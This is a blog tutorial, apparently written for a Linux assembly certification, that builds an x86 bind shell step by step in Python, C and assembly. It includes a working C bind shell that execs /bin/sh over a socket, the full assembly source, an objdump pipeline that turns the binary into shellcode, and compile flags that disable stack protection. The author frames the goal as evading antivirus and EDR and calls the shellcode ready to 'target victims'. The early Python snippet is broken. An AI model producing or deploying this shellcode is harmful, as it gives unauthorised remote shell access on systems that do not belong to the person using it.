A bind shell can be simply defined as a connection established from the attacker’s machine to the victim’s machine which presents the attacker with a comamnd line shell access of the victim’s machine.
In this blog post, we will go through the process of the components involved in a bind shell and create our own.
In a bind shell, the victim machine listens for incoming connection on a particular port as shown below:

For a better understanding of the concept, we will start with programming a bind shell in a higher level language before diving straight into ASM to get a clear understanding of the program flow and the required syscalls which we will later convert into x86 Assembly.
One must be wondering why convert things into ASSEMBLY LANGUAGE in the first place?! There are multiple reasons to it which can’t be described in a single post. My personal favourite being – to evade malware from Antiviruses, EDRs etc. Here are two blogs each from SentinelOne and Fireeye which explain why attackers write shellcodes.
In this blog post, I will explain a bind shell starting off with with Python and gradually build the same on lower levels. You can choose the language of your preference to begin with or might even straightaway go into ASM code. Ultimately, it all boils down to your level of comfort and understading.
Here’s a Python equivalent of a Bind shell:
import socket
bind_ip = "0.0.0.0" #Define the IP to bind to
bind_port = 4444 #Define port to bind to
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defining socket function
server.bind((bind_ip, bind_port)) #Defining bind function to bind to our given IP and ports
server.listen(5)
#Client handling (Can be ignored)
def handler(client_socket):
request = client_socket.recv(1024)
print("[*] Received: %s" % request)
client_socket.send(b"ACK!")
client_socket.close()
while True:
client, addr = server.accept()
handler()
Now let’s take the above as a reference and try to get a little closer to our end goal. We will attempt to convert the same in C and later into x86 Assembly language.
Like any other programming language, we first initialize a socket to enable communication between two nodes. In C, we do it with the socket() function.
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
The socket function is a part of sys/socket.h library and as seen above, it takes three arguments – int domain, int type and int protocol. Also, another thing worth noticing is that the socket function itself is of type int.
Let’s try to understand the arguments.
- domain = communication domain, which in our case will be AF_INET. (IPv4 protocol)
- type = type of socket, which in our case will be SOCK_STREAM (TCP)
- protocol = protocol to be used, we will go with TCP (#6 as seen in the link)
“Upon successful completion, socket() shall return a non-negative integer, the socket file descriptor. Otherwise, a value of -1 shall be returned and errno set to indicate the error.”
Now that we have our socket function ready, let’s try to define it.
#include<sys/socket.h>
int main()
{
//int socket_d = socket(domain, type, protocol)
int socket_d = socket(AF_INET, SOCK_STREAM, 6)
...
...
return 0;
}
Next, we define our bind() function.
#include <sys/types.h>
#include <sys/socket.h>
int bind(int socket_d, const struct sockaddr *addr, socklen_t addrlen);
The bind function takes our socket as a parameter and essentially binds it to certain values assigned in the structure sockaddr. The sockaddr structure is a base structure for all syscalls and functions that deal with internet addresses which looks like this:
#include <netinet/in.h>
struct sockaddr_in {
short sin_family; // e.g. AF_INET
unsigned short sin_port; // e.g. htons(3490)
struct in_addr sin_addr; // see struct in_addr, below
char sin_zero[8]; // zero this if you want to
};
struct in_addr {
unsigned long s_addr; // load with inet_aton()
};
Moving ahead, we define our sockaddr structure and pass the same in the bind function in our C code snippet:
#include<sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int main()
{
//int socket_d = socket(domain, type, protocol)
int socket_d = socket(AF_INET, SOCK_STREAM, 6)
struct sockaddr sockstruct;
sockstruct.sin_family = AF_INET;
sockstruct.sin_port = htons(4444);
sockstruct.sin_addr.s_addr = htonl(INADDR_ANY);
int bind(socket_d, (struct sockaddr*) &sockstruct,
sizeof(sockstruct));
return 0;
}
Now let’s define our listen() function:
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int listen(int sockfd, int backlog);
The backlog parameter simply defines the queue length to which the socket’s pending connections would grow. Adding the same to our exisitng C code snippet, we get:
#include<sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int main()
{
//int socket_d = socket(domain, type, protocol)
int socket_d = socket(AF_INET, SOCK_STREAM, 6)
struct sockaddr sockstruct;
sockstruct.sin_family = AF_INET;
sockstruct.sin_port = htons(4444);
sockstruct.sin_addr.s_addr = htonl(INADDR_ANY);
int bind(socket_d, (struct sockaddr*) &sockstruct, sizeof(sockstruct));
listen(socket_d, 2);
return 0;
}
Now that we have our bind function ready with our IP address and port defined in it, let’s define the accept() function which will accept incoming connection to our defined IP address and port – which in our case is Localhost and port 4444 . The function simply accepts three arguments – our defined socket, address to sockaddr struct and the size of sockaddr which would store the peer’s information. We can set the same to null as we really don’t require peer’s info and also because it will be quite easier to convert the same into shellcode. Adding accept function to our C code snippet, we get:
#include<sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int socket_d;
int socket_d_peer;
int main()
{
//int socket_d = socket(domain, type, protocol)
int socket_d = socket(AF_INET, SOCK_STREAM, 6)
struct sockaddr sockstruct;
sockstruct.sin_family = AF_INET;
sockstruct.sin_port = htons(1337);
sockstruct.sin_addr.s_addr = htonl(INADDR_ANY);
int bind(socket_d, (struct sockaddr*) &sockstruct, sizeof(sockstruct));
listen(socket_d, 2);
socket_d_peer = accept(socket_d, NULL, NULL);
return 0;
}
Now for the last part, all that is left is redirecting STDIN, STDOUT and STDERR to our socket and calling our shell via execve(). Let’s add the same in our code snippet and run the shell.
#include <stdio.h>
#include<sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include<unistd.h>
int socket_d;
int socket_d_peer;
struct sockaddr sockstruct;
int main()
{
//int socket_d = socket(domain, type, protocol)
int socket_d = socket(AF_INET, SOCK_STREAM, 6);
sockstruct.sin_family = AF_INET;
sockstruct.sin_port = htons(1337);
sockstruct.sin_addr.s_addr = htonl(INADDR_ANY);
bind(socket_d, (struct sockaddr*) &sockstruct, sizeof(sockstruct));
listen(socket_d, 2);
//printf("Listening\n");
socket_d_peer = accept(socket_d, NULL, NULL);
dup2(socket_d_peer, 0); //STDIN
dup2(socket_d_peer, 1); //STDOUT
dup2(socket_d_peer, 2); //STDERR
execve("/bin/sh", NULL, NULL);
close(socket_d);
return 0;
}
Now that our shell is ready, let’s quickly compile it and execute it on our local system.
Compiling our C source file using gcc with the following flags:
$ gcc -z execstack -fno-stack-protector -o bind bind.c

And here we have our compiled bind shell running in window 1, a netcat client connecting to the shell on port 4444 in window 2 and current netstat output while the shell runs in window 3.
Below is the ASM equivalent with commented description of the same bind shell.
; Syscalls - cat /usr/include/i386-linux-gnu/asm/unistd_32.h
global _start
section .text
_start:
sock:
; creating a socketcall syscall
; int socketcall(int call, unsigned long *args);
; Call numbers for socketcall -- /usr/include/linux/net.h
; Clearing out registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
; loading args to SYS_socket call
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
push ecx ; IPPROTO_IP
push 0x1 ; SOCK_STREAM
push 0x2 ; AF_INET
mov ecx, esp ; ECX pointing to arguments for socket call
mov bl, 0x1 ; 1 for SYS_socket
mov al, 0x66 ; Invoking SYS_socketcall
int 0x80
mov esi, eax ; Saving socket for further use
; creating a bind function
; bind(socket_d, (struct sockaddr*) &sockstruct, sizeof(sockstruct))
; creating a sockaddr structure
; srv_addr.sin_family = AF_INET;
; srv_addr.sin_port = htons( 7777 );
; srv_addr.sin_addr.s_addr = htonl (INADDR_ANY);
xor ebx, ebx
push ebx ; Pushing 0x0 to listen on all interfaces
push word 0x5c11 ; Pushing 4444 as port
push word 0x2 ; Pushing 0x2 defining AF_INET
mov ecx, esp ; ECX pointing to sockaddr structure
; creating bind function
; bind( socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );
push 0x10 ; Size of sockstruct
push ecx ; Sockstruct from stack
push esi ; Earlier saved socket
mov ecx, esp ; ECX pointing to arguments to bind function for SYS_socketcall
mov bl, 0x2 ; 2 for SYS_bind
mov al, 0x66 ; Invoking SYS_socketcall
int 0x80
; Listen to incoming connections
; listen(socket_fd, 0);
; arguments to listen function
xor ebx, ebx
push ebx ; Pushing 0
push esi ; Pushing sock_fs as stored in ESI earlier
mov ecx, esp ; ECX pointing to arguments for listen function
mov al, 0x66 ; Invoking SYS_socketcall
mov bl, 0x4 ; 4 for SYS_listen
int 0x80
; accepting incoming connections
; accept(socket_fd, (struct sockaddr *)&cli_addr, &socklen );
; arguments to accept function (Refer C code snippet)
xor ebx, ebx
push ebx ;
push ebx ;
push esi ; Pushing ESI which is pointing to sockfd
mov ecx, esp
mov al, 0x66 ; Invoking SYS_socketcall
mov bl, 0x5 ; 5 for SYS_accept
int 0x80
; piping output to our socket
; dup2(client_fd, 0); INPUT
; dup2(client_fd, 1); OUTPUT
; dup2(client_fd, 2); ERROR
mov ebx, eax
xor ecx, ecx
mov cl, 0x2
pipe:
mov al, 0x3f ; dup2 syscall
int 0x80
dec ecx
jns pipe
; execve syscall to execute
xor ecx, ecx
mov edx, ecx
push ecx
push 0x68732f2f ; pushing //sh
push 0x6e69622f ; pushing /bin
mov ebx, esp
mov al, 0xb ; Invoking execve syscall
int 0x80
Now let’s compile and link our shell with nasm and ld and run it.

And we have a bind shell running on port 4444!
Let’s quickly generate our shellcode out of the compiled file and attempt to execute it via a C harness which we can then use to target victims. Before we move ahead, let’s check if our shellcode has any null characters in it. We can do so by using objdump as shown below:

So far so good! Now using a nice commandline-fu to generate shellcode:
objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
We will feed the generated shellcode from the above cli-fu in our C harness.

And lastly compiling it with the following flags as done earlier:
gcc -z execstack -fno-stack-protector shellcode.c -o bind_shell_linux_x86
And we have our bind shell ready to be shipped! 😀

That’s all for this post folks!
The major drawback with bind shells is that in most of the real life scenarios, ingress connections from random IPs are mostly blocked and if not blocked then heavily monitored. In such a scenario, we fallback to reverse shells. A reverse shell connects back to the attacker’s machine instead of having the attacker to connect to the victim’s machine.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-14690
In the next post, we will create a reverse shell which will connect back to the attacker machine instead of binding to a port locally.